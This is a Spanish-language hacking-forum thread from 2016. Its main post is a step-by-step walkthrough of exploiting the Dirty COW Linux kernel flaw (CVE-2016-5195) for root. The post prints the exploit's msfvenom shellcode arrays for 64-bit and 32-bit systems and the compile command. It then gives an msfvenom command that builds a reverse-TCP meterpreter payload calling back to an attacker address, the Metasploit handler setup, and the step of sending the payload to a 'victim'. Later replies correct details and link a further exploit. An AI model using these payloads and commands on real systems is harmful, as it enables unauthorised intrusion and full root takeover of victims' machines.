Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: BrowserNet en Diciembre 03, 2016, 08:52:01 PM

Título: Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux
Publicado por: BrowserNet en Diciembre 03, 2016, 08:52:01 PM
(https://3.bp.blogspot.com/-QkBh5SiS_MM/WCi9Z7SlMJI/AAAAAAAAD88/NhG3IT8ZYLMkCkV_2k3L_JkV4nsuuerrQCLcB/s640/dirty-cow-linux-kernel-exploit.png)

Hace aproximadamente un mes, la comunidad linuxera (incluyéndome) se entero de una noticia que simplemente no se podría creer, un fallo de hace 9 años nuevamente estaba presente exponiendo un gran agujero de seguridad en las versiones: Ubuntu 14.04 y Ubuntu 15.10.

las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root por medio de dicho una explotacion local, exponiendo todo el sistema de la victima sin ninguna excepción.

el bug también afecta a todos los dispositivos android de la versión 7 para abajo.

Elevando privilegios de usuario a root en Ubuntu 15.10

(https://3.bp.blogspot.com/-7IKyC953iPQ/WCjnYm2-0RI/AAAAAAAAD90/D82zw2184sgrKoktO9kHjm5gjwQJtZluACLcB/s640/33.png)

Exploit:

https://www.exploit-db.com/exploits/40616/ (https://www.exploit-db.com/exploits/40616/)

Lo primero que debemos hacer ver la fuente del archivo en 40616.c, lo puede hacer en cualquier editor de texto, en mi caso lo abrí por Sublime Text, para que puedan ver lo principal. 

(https://1.bp.blogspot.com/-ywNEpIMoyVY/WCjh74rUq8I/AAAAAAAAD9Y/nWgOblyJd9UyS4RzJN0r7rYp9r4r6idpQCLcB/s1600/21.png)

Vemos que el exploit esta generado en msfvenom quiere decir que es un payload.

Este exploit funciona de la siguiente manera, notaron que hay 2 payloads de 64 y 32 bits, por default el de 64bits esta sin comentarios cabe decir que funcionara solamente para esa arquitectura, ya que el de 32 bits esta comentado y no ejercerá ninguna función.


64bits

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;


32bits


/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/


En esta prueba de concepto, estoy exponiendo un sistema "UBUNTU 32BITS", cabe decir que eliminare el payload de 64 bits con todos sus atributos, para quedarme solamente con la arquitectura de 32bits:

(https://3.bp.blogspot.com/-sRd9OiUvnkk/WCjkOKWsqFI/AAAAAAAAD9k/33NM3uwm9KY_g5QitxU80L7NfKyj4wkGQCLcB/s640/23.png)

ojo: también eh eliminado los comentarios del payloads de 32 bits.

luego de guárdalo pasaremos a compilar el archivo .c

root@kali:~# gcc 40616.c -o 40616 -pthread

(https://2.bp.blogspot.com/-gGPcwyc_w-0/WCjk--8GI0I/AAAAAAAAD9o/Of8mfHbByKAf8zsPO_oOsG0k5hDTLa4pACLcB/s640/24.png)

Una ves compilado correctamente, podemos subirlo al servidor de la victima creo que no hay necesidad de pasar a ese proceso ya que existen muchas maneras de hacerlo, si no sabes te invito a buscar los artículos de metasploit framework, en el blog.

(https://4.bp.blogspot.com/-lLnx9oCpdRE/WCjsjflgDzI/AAAAAAAAD-E/7qjfUvaB4mUmAbqJmCmyO1CMtK6tFnIiwCLcB/s640/1.png)

Ustedes pueden crear su payload en formato linux, ya que deben hacerlo para poder ejecutar formatos compilados con permisos.

(https://1.bp.blogspot.com/-j7m-F9nEiys/WCj7ec2HUYI/AAAAAAAAD-U/_AGKdqLGWZUwH8lPGfpPo5vifKZElJn1ACLcB/s640/21.png)

Creando payload en linux 32bits


root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.35 LPORT=8081 -f elf > /root/Desktop/shell.elf


(https://1.bp.blogspot.com/-IgzvfT43ZOg/WCj_D8B3NOI/AAAAAAAAD-k/FUwOkzOUFGEzVIseaTFQDmNpKwKXQTEDwCLcB/s640/12.png)

Estableciendo conexión meterpreter

msf > use multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.35
msf exploit(handler) > set LPORT 8081
msf exploit(handler) > exploit


(https://4.bp.blogspot.com/-8VpmqW6ZMb4/WCj_Niwc66I/AAAAAAAAD-o/5hH5CrVmAR4bUk607Wth1vlYJGrgabrLwCLcB/s640/12.png)

Entonces le enviaremos nuestro payload a nuestra victima, en el momento que la victima ejecute tendremos su sesión meterpreter:

(https://3.bp.blogspot.com/-HzYURPAMhjw/WCkA_0-4VtI/AAAAAAAAD-0/fq033iZRZIQAAMi4KCoKimHA39NSWaBAwCLcB/s1600/1.png)

entramos a terminal y ejecutamos el "Exploit", vemos que se ejecuto correctamente, hemos escalado los privilegios root y por ende tenemos todos los permisos.

Siempre es bueno enseñar pruebas de todo, ejecutaremos el exploit en la misma maquina con un usuario llamado prueba:

./40616

(https://4.bp.blogspot.com/-splZrV2TPhs/WCj8GC8kPbI/AAAAAAAAD-Y/HUp38qyJbU8vctKBE2DKnN1wmMNdb25WwCLcB/s640/1.png)

El exploit funciono correctamente, esto fue todo estimados lectores espero les halla encantado este post.
Título: Re:Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux
Publicado por: EPSILON en Diciembre 06, 2016, 11:44:20 PM
Buena data, esto me hace acordar a otro famoso root exploit que cuando salio a ala luz ya tenia años de ser utilizado claro en un circulo cerrado de atacantes que lo tenían hasta que lo liberan (hasta eso ya rootearon miles de servidores) xD.
como recomendación a tu post te diria que quites esa parte que dice: "las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root de manera remota"... ya que a simple vista el exploit tiene que ser ejecutado desde dentro del servidor siendo mas bien un "local root exploit" y quizás esto se preste para confusión.

Saludos!, EPSILON.
Título: Re:Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux
Publicado por: Stuxnet en Diciembre 07, 2016, 02:08:52 AM
Ya la había publicado un post sobre esto :v
Título: Re:Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux
Publicado por: BrowserNet en Diciembre 07, 2016, 02:53:52 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buena data, esto me hace acordar a otro famoso root exploit que cuando salio a ala luz ya tenia años de ser utilizado claro en un circulo cerrado de atacantes que lo tenían hasta que lo liberan (hasta eso ya rootearon miles de servidores) xD.
como recomendación a tu post te diria que quites esa parte que dice: "las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root de manera remota"... ya que a simple vista el exploit tiene que ser ejecutado desde dentro del servidor siendo mas bien un "local root exploit" y quizás esto se preste para confusión.

Saludos!, EPSILON.

jejeje, me comi el local root exploit y por una pequeña confusion añadi forma remota, me retracto gracias por su colaboracion mi buen amigo, un saludo y un fuerte abrazo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ya la había publicado un post sobre esto :v

si vi tu post hermano, por eso le quize aumentar las tecnicas de penetracion a un sistema GNU por medio de un payload, para poder ejecutar el root exploit, un saludo mi bro!
Título: Re:Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux
Publicado por: Stuxnet en Diciembre 08, 2016, 01:29:13 AM
Nuevo local exploit para la version del kernel 4.4.0

https://www.exploit-db.com/exploits/40871/
Título: Re:Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux
Publicado por: Dr4g0n4Y en Diciembre 26, 2016, 03:44:26 AM
Cuando salió este exploit después de obtener acceso root congelaba la pc víctima haciendo Imposible el uso   , esto ya se corrigió o sigue igual?